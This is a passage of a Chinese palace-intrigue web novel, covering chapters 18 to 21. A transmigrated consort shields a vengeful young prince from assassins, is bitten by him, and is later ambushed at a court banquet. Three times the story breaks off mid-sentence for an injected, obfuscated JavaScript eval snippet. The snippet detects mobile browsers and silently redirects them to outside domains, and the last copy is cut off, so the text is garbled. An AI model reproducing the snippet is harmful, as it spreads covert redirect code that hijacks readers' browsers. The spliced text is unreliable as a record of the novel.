从这些家书里,他得知,沈云璟已经领着几个兄弟找到孟谦,连威胁带揍,把他吓得不轻。 因为私下斗殴争执,沈云璟被圣上罚俸半年,不过这点钱对于沈家来说,不过是毛毛雨,根本不用在乎。 不仅如此; 沈云璟不知道用了什么办法,悄悄往宫里送了一批家仆。 除了芸豆茭白,周源这些相处惯了的宫人,沈玉衡身边的人,全都被换成了忠于沈家的人。 按照沈云璟的话来说,自己的人,留在身边才安心。 系统感慨:【大哥也太靠谱了,果然刷大哥好感度是对的!】 沈玉衡却没吭声。 他大哥送进宫里的这批人,肯定比普通的宫人值得信赖,但是…… 前几天,他给萧烬上药,折腾的久了一点,从屋子里走出来的时候,就感觉有什么人在看着自己。 起初,他还以为是错觉。 但是第二天,沈玉衡一大早就收到了沈云璟的信件。 信里直截了当地说——让沈玉衡离萧烬远一点,千万不要被萧烬那张脸给蒙蔽了。 好家伙,合着是派人来监视他了? 沈玉衡冤枉极了。 他要是对萧烬有什么非分之想的话,他早就被那个死孩子弄死了好吗! 认识沈云璟之前,沈玉衡完全没想到,他哥的控制欲居然这么强。 不过,沈云璟的出发点,也是为了沈玉衡。 能有一个关心自己的兄弟,挺好的。 - 萧烬没想到,沈玉衡这样的人,也会有父兄爱护照顾。 起初,萧烬根本没放在心上,直到他的一个死士,也被沈云璟扔出了清濯殿。 身边可用的人又少了一个。 萧烬心情不佳。 不过是个不怎么来往的兄弟而已,沈玉衡那样傲慢的人,居然也会觉得高兴? 据说,新来的宫人照着沈家的陈设,将清濯殿收拾的焕然一新。 衣柜里的妖艳华服,被沈玉衡换成了清新朴素的浅色衣衫,多是蓝绿或淡黄的配色。 萧烬在铜镜里看见,自己腹部的伤口在一点点变淡。 他伸手抚摸伤口,已经完全感觉不到疼痛。 缠绕在他胸口的那股焦躁的血气,不减反增。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464537|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给萧烬用的那盒祛疤膏已经见底。 沈玉衡派人联络老太医,新的药膏已经在连夜赶制了。 这段时间他过的相当清闲,萧槐身体不好,索性闭关养身,全将国事丢给了皇子大臣去处理。 嫔妃们,例如他,自然也不需要去侍寝了。 沈玉衡的腿伤也好了大半,现在,只要等到萧烬的身子恢复了,他就能过上佛系摆烂的日子了。 在清濯殿外的院子里坐着喝了杯茶,想要返回寝殿时,已是黄昏。 走到一半,他突然浑身一冷,不安地看了看四周。 那股被偷窥的诡异感觉,又来了。 又是他大哥派来的,那个监视他的家仆吧? 沈玉衡耸耸肩,返回寝殿,一点没把这当回事。 他第一次发现事情不妙,是在当天深夜。 冬日,屋里烧着炭,烤的暖烘烘的,被褥里也尽是温暖的气息。 他睡得正香,忽然间被人推醒。 迷茫地睁眼一看,就看见萧烬手指竖在唇前,言简意赅地说了几个字:“有刺客。” 沈玉衡的神智瞬间回笼。 刺客?!! 他往床榻里缩了缩,左右张望着,小声问:“哪里?” “外面,两人。” 萧烬话音刚落,房顶便落下一缕薄薄的灰,就掉在沈玉衡他们面前。 紧随其后的,是几乎细不可察的,从屋外传来的奇怪动静。 ……居然已经这么近了? 沈玉衡原本还想喊人过来帮忙,眼看刺客居然已经逼近到这么近的距离,简直毛骨悚然。 萧烬起身道:“我出去一趟。” “不行!”沈玉衡赶紧拉住他,小声质问:“你一个人怎么对付他们两个?!” 未来的萧烬另说,但是现在的萧烬还是个孩子,伤口都没好全。 他一个人,怎么对付屋外两个来路不明的刺客? 眼看着屋外似乎有人影飘过,沈玉衡赶紧把萧烬一把拉过去。 少年摔在床上,被沈玉衡用被褥包住,整个人藏了起来。 被褥里,是微热的,沈玉衡身上那股带着淡淡清茶香的温暖气息。 萧烬骤然浑身一僵,下意识想要推开他。 “别动!”沈玉衡只能圈住少年,不让他出去。 萧烬一怔:“你……” 在意识到自己的嘴唇贴着沈玉衡的脖颈时,萧烬浑身的血气都瞬间涌了上来。 沈玉衡看不到萧烬此时的眼神,他贴着少年的耳边,小声说:“我枕下有刀,你偷偷拿出来。” 过了几秒。 拥挤的被褥里,少年的手穿过沈玉衡披散在床上的长发,伸向枕下。 黑发丝滑的触感,在指缝间缠缠绕绕,凉凉的。 少年握住刀柄,气息顷刻间已经乱了大半,胸口那堆莫名的燥热感,全都成了对沈玉衡的怨气。 沈玉衡一边闭眼装睡,一边仔细听着外面的动静。 那两个刺客似乎还在窗外观察屋里的情况,确认是否还有别人。 就算沈玉衡这有一把刀子防身,面对真正的刺客,却还是找不出几分胜算。 他正飞快思考着接下来该怎么行动,突然间,脖颈处传来一阵尖锐的刺痛感,疼的他险些喊出声音。 他颤抖着躲开那个薄薄的,造成他疼痛的东西。 窗外的人影似乎顿了顿,察觉到了刚刚的动静,变得愈发躁动起来。 沈玉衡欲哭无泪,朝他怀里藏着的少年瞪了一眼。 乱咬什么?!狗吗你!! 19.第 19 章 19 同一时刻, 伴随着“吱呀”一声轻响,两串轻到细不可察的脚步声落入了屋内。 沈玉衡绷紧脊线,一动也不敢动。 暗流涌动的房间内,脖颈处传来的阵阵刺痛却仍在被不断放大。 他也不知道萧烬为什么突然要咬他,而且还异常的愤怒。 像是被一只狼叼住脖子品尝味道,随时有被咬断颈项的危险。 沈玉衡疼的眼角浸湿,却挣脱不开少年的桎梏。 刺客就在外面,这死孩子到底在犯什么浑?! 感受到沈玉衡的挣扎,萧烬按住他,冷冷出声:“别动。” 他已经在极力克制自己的愤怒了。 他连沈玉衡的存在都厌恶,现在却要和他如今亲近地贴在一起。 那些温暖的气息搂着他,不让他离开,萧烬本能性地抗拒排斥,身心像是要撕裂成两半。 他恨不能咬碎沈玉衡的脖颈,就着鲜血拆吃入腹,把那股异样的潮热彻底驱逐出体内。 灼热的吐息喷洒在颈项,沈玉衡死死咬唇,眼角的泪顺着脸颊滑落下来。 萧烬看他像是怕狠了,不辨喜怒地轻呵了一声。 寝殿内,一袭黑衣,手握长刀的刺客缓缓靠近,看向床榻。 榻上的人似乎是睡熟了,微弱的月光透过窗纸映入室内,映出他脸颊不自然的一片绯红。 这些养在皇宫里的人最是细皮嫩肉,一刀下去,一点阻力都没有。 他们交换了一个眼神,提刀上前,刃口对准榻上人的脖颈。 沈玉衡闭紧眼,想带着萧烬冲出屋去,怀里却是一空。 不好。 他猛然睁开眼,却已经来不及阻止。 伸手不见五指的寝殿内,发出两声诡异的“咕”声。 顷刻间,两具僵硬的躯体倒了下来。 沈玉衡惊恐的视线穿过萧烬的背影,看见那两个黑衣刺客大张着嘴,倒在地上,喉咙被刀刃破开一个巨大的裂口。 满地都是血,冰凉的月光下,一地触目惊心的红。 萧烬看了看手里的刀,粘稠温热的血液染红了指尖和刀刃。 一想到沈玉衡可能惧怕到瑟瑟发抖,哭叫着缩在角落的丑态……萧烬的唇慢慢扬了起来。 然而,下一秒。 沈玉衡越过尸身,赶到了他身边。 他克制着颤抖的声音,问萧烬:“你……你没事吧?有没有哪里受伤?” 萧烬愣住。 两具尸首死状惨烈,沈玉衡的手都是软的。 要不是看到萧烬满身满手的鲜血,沈玉衡绝对不会敢靠近这里半步。 可他是大人,他不能怕。 他仔细检查萧烬身上染血的地方,并未看到什么伤口,这才松了口气。 萧烬盯着他收紧又舒张的眉目,视线逐渐下滑,停在了他脖颈处—— 他留下的齿痕,像是一道红色的标记,烙在了沈玉衡颈前白皙的皮肤上。 在这道痕迹消失之前,即便腿伤痊愈,沈玉衡也不能够侍寝了。 不能回到父皇身边,他脸上失望的神色,一定很精彩。 萧烬胸口的狂躁暂且舒缓了一些。 他抓着沈玉衡的肩,在逐渐弥漫开的血腥气息里,露出一个没有温度的微笑。 “我没事,母妃。” - 翌日,沈妃宫中遭到刺客夜袭的事,引起宫内一片哗然。 苏澄从宫女那儿听说这个消息时,吃了一惊,连忙问:“九殿下呢?他有没有受伤?” “九殿下无事。”宫女道:“要不是守夜的九殿下击退刺客,沈妃恐怕凶多吉少。” 苏澄缓缓松了口气。 “九殿下真性情,当初主子在十六皇子丧礼上受瑶妃欺辱,也是他出手相助……” “主子给沈妃做的那副手捂,要不送给九殿下吧?” 听了宫女的话,苏澄微微一顿。 他迟疑片刻,最终还是摇了摇头:“沈妃于我也有恩,我应当回礼,九殿下……他若是需要,我再织一副也好。” “沈家哪里会看得上这些小恩小惠?”宫女叹气。 二皇子一路,他们是攀附不上了,圣上这边,苏澄连侍寝的机会都够不到。 再无人依附,这宫里的严严寒冬,怕是越来难熬了。 “现在九殿下虽然在前朝式微,但他既然肯出手营救主子,说不定可以让咱们依靠……” 苏澄低下头,没有应声。 冻得微红的手,搁在萧烬送他的手炉上,汲取着所剩无几的热量。 - 清濯殿内。 刺客的尸首已经抬走,一群宫人忙前忙后清理寝殿,血腥味仍然经久不散。 茭白快步跑入清濯殿,找了一圈却不见沈妃的身影。 她找周源一问才知道,沈妃暂时不想返回血污未散的寝殿,现在正在后院里歇着。 她点点头,赶紧小跑着找过去。 穿过一条石子路,竹影摇曳的院落里,茭白找到了正在石桌前喝茶的沈玉衡。 “沈妃,我打听到了。”她压低声音:“听说二殿下今日确实在朝堂上发了好大的脾气,还罚了长公子的俸禄。” “大哥怎么又被罚俸了?” “自然是为了昨晚的事。”茭白摇头叹气:“如今二殿下摄理朝政,后宫却出了这样的事,面子上自然过不去。” “这时,长公子当着众人的面,要求进宫探视您,二殿下一气之下,就……” 沈玉衡哼哼:“他肯定气。” 毕竟,派刺客潜入清濯殿的幕后主使,除了二皇子萧棋,不可能再有别人。 原书里,萧槐养病期间,也是由二皇子萧棋代为理政; 萧棋以皇子之名代行皇帝之权,将许多政敌下狱囚禁,残害了数位皇子。 只是沈玉衡没想到,萧棋第一个盯上的对象,居然是无权无势的萧烬; 甚至不惜得罪沈家,一起除掉沈玉衡。 现在计划第一步就出了差池,萧棋肯定是气急败坏。 茭白突然“咦”了一声。 “沈妃是觉得冷了?怎么没带手炉出来,我现在取过来吧。” 沈玉衡身子一僵。 他身上披着一件厚实的狐裘披肩,把脖子围的严严实实。 虽然已经入冬,但是还未到最寒冷的时候,不至于这样穿吧? “没事没事。”沈玉衡脸颊微烫,心虚地搂了搂披肩:“已经够暖和了。” 总不能让所有人都看到,他被狗孩子啃了一口吧? 要不是萧烬今天一早就消失了,他高低得抓着萧烬质问一番。 沈玉衡都不知道该生气还是该不好意思。 ……杀人就杀人,顺道啃他一口算什么事啊?! 系统悄咪咪地出声:【宿主,你果然之前跟萧烬发生了点什么吧……你俩怎么都进展到这一步了……你果然是救赎高手……】 “没有!真没有!” 沈玉衡冤枉极了。 真要是发生了什么事情,他自己能不知道吗? 等茭白走后,他做贼似的看看四周,自己撩开披肩,拿铜镜偷照了照脖颈上的印记。 很深……没个十天半个月,肯定是好不了的。 绯红色明晃晃的一个齿痕,谁看了都会误会。 还好萧槐最近病着,不用他去侍寝,否则萧烬的五马分尸结局还能来的更快一点。 他唉声叹气的时候,身后突然响起芸豆的声音:“沈妃?” 沈玉衡慌慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14472436|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张张的穿好披肩。 好在芸豆没看见什么,只是跑来传话:“沈妃,苏才人求见。” 居然是苏澄?! 沈玉衡赶紧让芸豆她们请苏澄进来,亲自出去迎接。 要知道,原书里的苏澄在宫中没有朋友,几乎一直闭门不出。 他性格内向谨慎,不喜欢热闹,刺杀,遇袭这样危险的事发生时,他都远远躲着,绝不靠近。 听说沈玉衡出事,苏澄不仅不躲,还上门拜访,可见他对自己还是相当关心的。 沈玉衡匆匆收拾了一下自己,亲自出去迎接时,苏澄已经被请进了寝殿。 清濯殿毕竟是后妃的宫殿,没有宫外楼阁那样华丽的客室,来了人,只能先留在寝殿内。 苏澄站在殿内,看着地上深色的一片印记,还有鼻息之间血腥的铁锈味,不禁寒颤起来。 几个宫女劝阻过他,让他在外等着,可他还是想进来瞧瞧。 苏澄的视线划过门口的那张小榻,还有里侧,被重重纱帘挡着的那张床榻。 不远不近,朦胧暧昧的距离。 苏澄站在门口,微微皱眉。 房顶与窗纸皆未受损,若是刺客闯进屋里,应该会在小榻旁,与九殿下发生冲突…… 为何那两个刺客,最后却死在了沈妃的床边? 他抿抿唇,心里有种说不出的感觉。 “苏澄?” 苏澄吓得心脏都停跳一拍,回过头,看见是沈玉衡时,莫名有些心虚。 “你怎么呆在这儿?”沈玉衡走过来,拍了拍苏澄的肩:“跟我出去说话吧,炭盆现在都摆在外面,比屋里暖和多了。” 苏澄微微点头:“好。” 他跟着沈玉衡来到院子里坐下,这里与他的后院差不多大,却清雅很多,是精心布置过的。 连沈玉衡脖颈上披着的狐裘披肩,都是他不曾见过的好料子; 雪白柔软,像是活生生的白狐尾,缠绕在他白皙的颈上。 他一时看的出神。 - 两人刚一坐下,沈玉衡就发现,苏澄似乎是冷极了。 他的眼睫都在微微地颤抖,像是被霜凝固了似的。 “你……难道是自己走过来的?” 苏澄沉默几秒,点头道:“宫里出了事,大家心里都害怕,我虽然喊了轿辇,却没人敢来……” 沈玉衡听得一脸震惊。 ……清濯殿和苏澄的宫殿隔了那么远,他竟然在大冬天徒步走来?! 沈玉衡刚想问他为何而来,苏澄就拿出了他手织的那个手捂,小心翼翼地递给他。 沈玉衡收到礼物,惊喜地看了好一会儿。 苏澄的手艺很好,手捂相当精美漂亮。 原书里的他给萧烬做了许多鞋袜,可惜萧烬从来没穿过一件。 沈玉衡可没有萧烬那么别扭,立刻欣然收下,对着苏澄的手捂一顿夸。 苏澄的脸颊渐渐红了大半。 他紧张地拿起热茶,然而手指尚且僵硬,一下子打翻了茶杯。 茶水洒了一身,茶杯也碎了一地。 苏澄慌张俯身,想捡起碎片。 “别碰!”沈玉衡赶紧上前阻止:“小心点,别割伤你了。” 苏澄被他拉住手,顺势抬头,视线忽然定在了沈玉衡前,披肩散开的地方。 一个血红印记的齿痕,像是风雪里的点点红梅,清冷又妖艳地绽放在那儿。 苏澄的脑袋木的发胀,又好像轰然炸开了什么,满脸通红地收回了目光。 沈玉衡看着他的反应,一愣,赶紧慌张把自己用披肩包好。 看到苏澄不敢抬头看他,脸颊一片绯红的样子,沈玉衡的心都凉了一半。 救了个命了。 解释不清了。 20.第 20 章 20 脖颈上的咬痕是因何而来,沈玉衡当然是说不出口的。 他磕磕绊绊:“那个……其实这个是……” 还没等他想好怎么解释,苏澄却先道歉。 “抱歉。”他微红着脸,局促地捏了捏袖口:“我未曾侍寝过,才会……” 沈玉衡一愣。 苏澄这不会是…… 把这个咬痕当成是萧槐啃出来的了?! 他刚刚死了的心因为这误会又死了一点,但见对方没有怀疑到萧烬,心头算式放松了一些。沈玉衡笑起来:“没事没事,你帮我保密,别说出去就行。” 苏澄深深看向他裹紧的颈项。 算下来,距离圣上前一次召幸沈妃,应该已经很久了吧…… 他抿了抿微微颤抖的唇。 沈玉衡他……竟这样敢吗? 也对,沈家那样的名门,开国以来,还没有哪个帝王敢轻动他们。即便东窗事发,沈家也会护佑他,让他活下去。 而苏澄这样卑贱的出身,一步走错,粉身碎骨。 若不是他们同时入宫,以他的位置,这辈子都得不到沈玉衡一眼正眼。 可他如今,却能握住沈玉衡这样一个把柄…… 苏澄心里莫名涌上一股晦暗的悸动,面上潮红久久不退。 他不敢再看狐裘披肩,心下却禁不住浮想联翩,彻夜难眠。 也不知…… 九殿下蔑伦悖理时,是否和他也是同样的心情? - 送走苏澄后,沈玉衡又找许太医开了一副外伤的药。 被问起原因,他没给许太医看伤口,只说自己是被宫里的狸奴抓伤了。 许太医开了药,没多说什么,却同时带来一个噩耗—— 沈玉衡的牌子,已经重新呈了上去。 许太医好意提醒他:“圣上近日虽未翻过谁的牌子,但沈妃也应早做打算,尽快养伤。” “圣上……不是还病着吗?应该短期内不会召幸谁吧?” “微臣也不知,不过,听说圣上近日来的饮食与起居都恢复了正常,身子应当是好多了。” 沈玉衡叹了口气,心情却也没有太沉重。 大概因为前几次侍寝的经历,沈玉衡隐约觉得,萧槐似乎对自己没有那方面的欲/望。 他和系统说:“说不定萧槐已经心有余而力不足,怕其他妃子嫌他不行,所以才来找我呢?” 【宿主,话不能说的太早,万一他这次行了呢?】 沈玉衡:“……” ……也对,还是别立flag了!! 好在那几日之后,萧槐仍然没有召幸过哪个妃子,独自一人关在养心殿里。 前朝,二皇子萧棋代行皇帝之权,越来越变本加厉。 权臣尚且能够安身,然而好几个曾经在前朝得罪过萧棋的清官,就没有那么幸运了。 他们被萧棋下狱囚禁,跪在宫门前求情的家人也都被拖走,行踪不明。 在萧棋的掌控下,前朝的气氛已经越来越压抑,没有一人敢发出反对的声音。 沈玉衡不明白。 萧槐的病既然已经好了,怎么不去管管他这个混账儿子? 他又翻了翻原书,想找到原因。 然而,原书里压根没写到过这段剧情。 ……因为书里的萧烬,实在杀的太快了。 二皇子萧棋,最有可能继承皇位的一个皇子,手握大权,在朝堂上左右逢源,最终却被刺客乱刀砍死在王府。 老皇帝萧槐,意外落水,下落不明,和当年萧烬的失踪如出一辙,很可能也是他下的手。 至于其他夺嫡的对手,则是早早被二皇子削弱势力,断了继位的可能性。 等萧烬上位时,能与他抗衡的人,竟是一个也挑不出来。 而他登基之初,就以铁腕扫平了朝中的反对者,严刑厉法让满朝文武噤若寒蝉,生怕稍有不慎,成为下一个被萧烬清算的对象。 虽然坐稳了皇位,但也从此坐实了暴君之名。 沈玉衡想了想,写了封家书,让宫外的沈云璟替他办件事。 他在信中列了几个朝中官员的名字,让沈云璟邀他们十日后一同进宫,参加宫宴。 这批官员年纪轻轻,但全都是未来朝中的中流砥柱,他们项上的玩意无比重要,连原书里的萧烬都没砍过。 而且,这几人有个共同点,那就是在皇子夺嫡争权的这几年,他们谁也没有明确站队过哪位皇子。 没有站队,也就是说,还有拉拢的机会。 沈云璟很快写信回来。 他不常写字,信上潦草几字写着:有人不愿来。 沈玉衡回信,问不愿来的是谁。 他猜测,应该是那个陈姓官员,或黄姓官员。 听说他们两人都不喜皇宫奢靡的生活,不愿来参加宫宴也是正常。 沈云璟又回了一封信。 信上潦草简单的一个字:我。 沈玉衡:“……” 女子口巴。 大周国的宫宴素来会邀请朝中臣子参加,别说沈云璟了,就连沈大将军,都没去过几次。 沈家都是武人,虽然喜欢热闹,却不喜欢这些规矩多的地方。 可是沈云璟要是不牵头,其他人一个比一个清高,便更不愿意进宫了。 沈玉衡一咬牙,又写了好几封信过去。 几日后。 京城沈家,屋门刚一响,家仆就叹气。 不一会儿,家仆快步走入内室,将成堆的信笺送到了沈云璟面前。 把信笺高高堆上茶几后,家仆便快步离开。 内室里的两个男子沉默片刻,其中一个放下琉璃壶身金丝颈的水烟壶,陷在檀木椅里吞云吐雾间,轻呵着低笑:“又来?” 沈听澜没想到自己难得回家一次,居然能看到这么有意思的事。 他那个又蠢又倔的男妃弟弟,破天荒地低下头,主动向家里求助,还天天写信求着大哥办事。 闯了祸,才知道家里人对他好。 真是蠢货里的蠢货。 他打量着自家大哥微蹙的刚毅眉眼,知道一定是有好戏看了。 片刻的沉默后,沈云璟拆开信。 入眼是沈玉衡秀气到有些可爱的字体—— “长兄收到我的信了吗?清濯殿里梅花开了,我替长兄捎了一枝最好的。” 沈云璟取出信笺里捆着的梅花花枝,无语了一瞬。 京城的梅花可比宫里的多多了,当他看不到吗? 他取出另一封。 “这几日在宫里无聊,没人说的上话,要是宫宴那天能看见长兄……” 宫里除了宫女太监,不是还有个萧九吗?怎么就不能说话了? ……不了,萧九还是算了,他不行。 提起这个,沈云璟就来气。 没有他,萧九连京城都回不了,现在居然还敢对沈玉衡动手动脚,早知道当初他就该装看不到,管他是死是活。 沈云璟眉眼间的阴翳越来越深。 他随手拆了剩下几封,信里写的无非就是“此事外人办不妥,只能麻烦好长兄”…… 这小弟也知道这事麻烦!还好意思再提! 沈云璟气得把信纸都捏烂了。 旁人也就算了,沈玉衡求他帮的,竟然是萧九那个混账东西! 刚走一个姓孟的,又来一个姓萧的,他妈的,一个比一个不好对付。 沈云璟怒地一拍桌案,满眼的戾气。 一旁的沈听澜笑的灿烂,翘着桃花眼,等待沈云璟发作。 谁不知道沈云璟最厌恶那些官场面孔,让他去请那些当官的,这不是故意恶心人吗? 下一秒,却听沈云璟恨恨地说了一句—— “妈的,这小鬼还学会撒娇耍赖了!老子去还不行吗?” 沈听澜呛了口烟:“……” 不是,这人是谁? 大哥你什么时候这么窝囊了?? 他惊得整个人坐起来,瞪着眼睛,简直不敢相信自己听到了什么。 当年他沈听澜把一个调戏良家的纨绔敲碎了脑袋,求他哥帮忙摆平的时候,他哥可是差点把他的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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抵达宫宴会场时,刚到黄昏,设宴的宫殿内却已经是酒气弥漫,香雾缭绕。 这次的宫宴并非萧槐所办,而是全权交给了二皇子,奢靡程度不减反增,四处都是金光熠熠。 沈玉衡领着萧烬上前。 这一次,宫人们看清来者,立刻殷勤伺候,丝毫不敢怠慢。 落座后,萧烬的目光这才缓缓抬起,一寸寸滑过沈玉衡的后背。 宫中风雪的气息越来越重,寒冷一日比一日刺骨,沈玉衡肩上的狐裘披肩,渐渐不再有人过问了。 他还以为,沈玉衡是万不敢来这场宫宴的。 父皇已经那么久没碰过他了,这个痕迹,若是暴露了那个痕迹…… 沈家可保沈玉衡不死,不过,这男妃的名分,他休想再有了。 他曾经和成霄提过一次自己的打算,成霄劝他三思,毕竟沈妃的清濯殿,给萧烬提供了诸多庇护,十分方便掩人耳目。 萧烬抿了口酒,一遍遍想着成霄的话,不禁冷笑。 不论是沈玉衡的宫殿,身份,还是人,对他而言,其实都是无关紧要的玩意而已。 只要他想,他大可以让沈玉衡活不过今晚。 不过…… 他还是想看看沈玉衡死前匍匐在地上,向他祈求活路的样子。很想。 沈玉衡正坐在那儿,左右张望寻找沈云璟的身影。 他有点慌了,问系统:“能不能让我和我哥共享位置?我怎么找不到他啊?!” 系统诶嘿一笑:【宿主,你别说,我其实还真有这个功能】 【正在定位“沈云璟”的位置……】 【坐标:沈家宅邸】 沈玉衡呛了空气,眼珠子险些也滚出来:??? 不是,大鸽你??? 沈云璟可是写信答应过他,会带人过来的啊—— 沈玉衡正委屈着,突然后颈一凉,吓得他轻呼一声。 来不及看,冰凉的,散着酒香的液体已经顺着沈玉衡的脖颈向下,一路蔓延到全身。 突然湿透了的沈玉衡怔怔回头。 身后,是萧烬,还有他身旁坠地的酒壶,以及一个惶恐跪着的宫女。 宫女恐惧的声音,高呼:“奴才罪该万死!奴才这就带沈妃去更衣,还望沈妃宽恕!!” 21.第 21 章 21 感觉到周围的目光渐渐聚焦在自己身上,沈玉衡下意识抓紧披肩,唇角颤抖。 萧烬近乎享受地看着这一幕。 他的瞳孔里映出沈玉衡一瞬间流露出的惊恐与不安,仿佛那个高高在上的人,突然坠落深渊,孤立无援。 萧烬一直以来焦躁狂乱的内心,终于得到了短暂的安宁。 “沈妃,奴才带您下去。” 沈玉衡被洒酒的宫女搀扶起来,她纤细的五指扣在沈玉衡的手臂上,疼的他险些出声。 这手劲,未免太狠了吧?! 【宿主!她的眼睛好像有点奇怪?!】 有系统提醒,沈玉衡才发觉,这宫女的眼睛布满红丝,这么久了,一次也没眨过眼睛。 这是……? 沈玉衡内心浮现出两个字:蛊虫。 原书后期,有臣子为暴君萧烬秘密引荐了一位苗疆老者,擅长巫蛊之术,可引一种特殊的蛊虫惑乱人心。 萧烬靠着蛊虫,扫清了朝堂最后一丝残存的反对声。 不过后来,连这名苗疆老者都无法再忍受萧烬的暴行,他刺杀萧烬未遂,被枭首示众。 可是,那都是大后期的剧情了。 按照正常的剧情发展,苗疆老者还没有造访京城,怎么会出现蛊虫? 沈玉衡来不及多想,已经被宫女带到了偏殿外。 眼看着偏殿里黑黢黢的,伸手不见五指,沈玉衡心里那种不祥的预感越来越强烈。 他停在殿门口,不再进去了。 看见宫女直勾勾的眼神,沈玉衡小声:“那个,姑娘你先走就行,我真的不用……” 对方冷漠出声:“沈妃,快请进殿吧,奴才为您更衣。” 宫女的五根手指仍然像铁棍一样嵌在他手臂的皮肤上,丝毫没有一丝要松开的意思。 她两只眼睛遍是血丝,一眨不眨。 沈玉衡也不装了,他死死抱住殿前的一根柱子,说什么也不肯松手。 萧烬循着声音,悄无声息地走至沈玉衡身后不远处,入眼便是这一幕画面。 沈玉衡一身湿漉漉的,发梢都带着酒水的香,可怜无助地抱着柱子,随时可能会被那宫女强行拖走。 少年注视着这一切,恶劣地笑了。 沈玉衡尚存着最后一丝气力,手臂都被拽出了五个通红的指印,他眼角红彤彤的,偏就不肯进去。 眼泪顺着脸颊滑下来,衣衫也被撕破了。 萧烬的眼神渐渐冷了下来。 沈玉衡那样心高气傲的人,宁可在下人面前露出如此狼狈的姿态,也不愿意暴露那个痕迹吗? 是害怕失去萧槐的宠爱,还是厌恶他啃咬出的,丑陋的,久久不消失的咬痕? 萧烬“哈”的笑出了声。 沈玉衡如此嫌恶他,正好,他不介意多留下一些痕迹。 他可以把他干净的皮囊全部烙上这些丑陋的痕迹,啃咬,烧伤,抓痕……什么都可以,只要让沈玉衡珍惜的身体千疮百孔就行。 他要沈玉衡一无所有,自然,连完好的身体都不配拥有。 光是想象一下,萧烬的呼吸都在颤栗。 沈玉衡抱柱的力气已经越来越小,宴会的欢笑声,完全将他的求救声盖了过去。 沈玉衡眼泪都流下来了,还是怎么都不肯放弃。 如果下蛊者真的是萧烬,他如果进殿,一定会迎来最坏的死局。 就算不死,也会暴露痕迹,再也无法再留在宫里,更别提救赎任务了。 ……所以这救赎的任务到底为什么会这么难啊啊啊!! 沈玉衡正打算猛踹宫女逃走的时候,突然,他身后传来一声轻飘飘的男声—— “这不是玉衡吗?” 沈玉衡瞬间睁开眼,他看见廊道尽头走来一个风度翩翩,满脸带笑,莫名有点眼熟的男人…… 这谁来着? 萧烬刚欲走出阴翳,看有人来,不禁皱眉。 他重新又退回暗处,悄无声息地融入了夜色。 突然出现的这个男人,长得比沈玉衡稍许成熟一些,约莫二十二、三岁的样子。 他目光懒散倨傲,肩上披一件温暖厚实的紫貂裘,腰间束着一条点缀紫金流苏的玉带,一看就是大富大贵家出来的公子哥。 男人走到沈玉衡面前,上下打量了他一眼,质问宫女:“你是怎么办事的?怎么把沈妃弄成这样?” “奴才为沈妃更衣……” “不必了,我会帮他的。”公子哥摆摆手:“快滚,自己领罚去。” 宫女眼神呆滞地收回了手,离开时还在幽幽说着:“奴才该死,奴才该死……” 看见宫女神神叨叨地离开,沈听澜眯起了眼。 果然不对劲。 宴会上,他就发觉这宫女有问题了,明明是宫里的人,走路却那样莽撞,可疑极了。 不过…… 沈听澜漫不经心地看向沈玉衡,眼神嘲讽。 多亏了这个奇怪的宫女,他也看到了有意思的画面。 此时此刻的沈玉衡,宛若艳情话本里,被狠狠凌/辱过的良家女子。 他被淋了一身酒,现在右肩的衣服被撕成了破布条子,隐隐约约露出雪白手臂上,被粗暴弄出的五根通红的指印。 不仅如此,沈玉衡还被折腾哭了。 看见沈玉衡泛红的眼眶与泪痕,沈听澜笑意深深,迫不及待想要看到自己这个弟弟哭闹撒泼的蠢样。 他假装十分关心地问:“玉衡,哭成这样,不至于吧?你这么傲气的一个孩子,怎么被个奴才欺负哭了呀?” 沈玉衡隔着湿润的眼眶,茫茫然地看着眼前搭救他的男人。 他早已经不哭了,刚刚的眼泪纯粹是疼出来的,原主细皮嫩肉,禁不住这样糟蹋。 他擦去泪痕,小心翼翼地问沈听澜:“那个……您是?” 沈听澜一下怔住。 沉默了片刻过后,他咬着牙逼近。 “你这死小孩敢装不认识我?你好好睁大眼睛,看看我是谁?” 沈玉衡一边打着哈哈,一边疯狂问系统:“这谁这谁??快帮我查!!” 【宿主——他是沈听澜,是原主的二哥!】 居然是沈听澜? “那我怎么不认识他?”原主的记忆,明明都继承给他了啊。 【因为沈听澜和原主总不归家,彼此之间都不太熟悉,一年也说不了几次话……原主进宫后,已经把他的脸给忘了】 沈玉衡:“……” 好家伙,亲哥都能忘光?! 和沈玉衡一样,他这个二哥也没有走上武将这条路,而是喜闻乐见地当上了一个嗜酒如命的公子哥。 不过……沈听澜毕竟是沈家人。 他的脾气一点不比沈云璟好,甚至带着几分阴险的煞气,来势汹汹。 “……我想起来了,是二哥。” 沈玉衡赶紧安抚暴怒中的沈听澜。 “我之前一不小心撞了脑袋,不太记得以前的事情了,二哥莫怪。” “哈。”沈听澜笑得咬牙切齿,好不容易装出的端方公子模样荡然无存。 “光记得沈云璟,不记得我?!你个小白眼狼!” 沈玉衡刚要解释,就被拖进一旁偏殿里。 